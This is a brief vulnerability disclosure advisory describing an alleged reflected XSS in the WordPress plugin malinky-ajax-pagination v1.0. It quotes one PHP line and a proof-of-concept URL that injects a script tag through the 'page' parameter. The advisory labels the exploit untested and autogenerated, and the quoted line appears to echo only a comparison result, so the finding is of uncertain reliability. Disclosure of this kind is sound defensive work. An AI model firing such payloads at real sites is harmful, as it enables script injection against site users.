Advisory #: 205
Title: Reflected XSS in wordpress plugin malinky-ajax-pagination v1.0
Author: Larry W. Cashdollar, @_larry0
Date: 2016-02-09
Download Site: https://wordpress.org/plugins/malinky-ajax-pagination
Downloads: 3377
Vendor Notified: 2016-02-09
Export: Json
Vendor Contact: plugins@wordpress.org
Plugin Name: malinky-ajax-pagination
Vulnerability:
There is a reflected XSS vulnerability in the following php code ./malinky-ajax-pagination/malinky-ajax-pagination-settings.php: 134: <a href="options-general.php?page=malinky-ajax-pagination-settings-<?php echo $x ?>" class="<?php echo $_GET['page'] == 'malinky-ajax-pagination-settings-' . $x ? ' active' : '';?>">Paging Settings <?php echo $x; ?></a> The variable page appears to send unsanitized data back to the users browser.
CVE-ID: Not Released
File:./malinky-ajax-pagination/malinky-ajax-pagination-settings.php
Exploit Code:
Exploit was derived from appearance of first vulnerable parameter in code, there could be more shown above.
  1. This is an untested autogenerated exploit:
  2. http://[target]/wp-content/plugins/malinky-ajax-pagination/malinky-ajax-pagination-settings.php?page="><script>alert(1);</script><"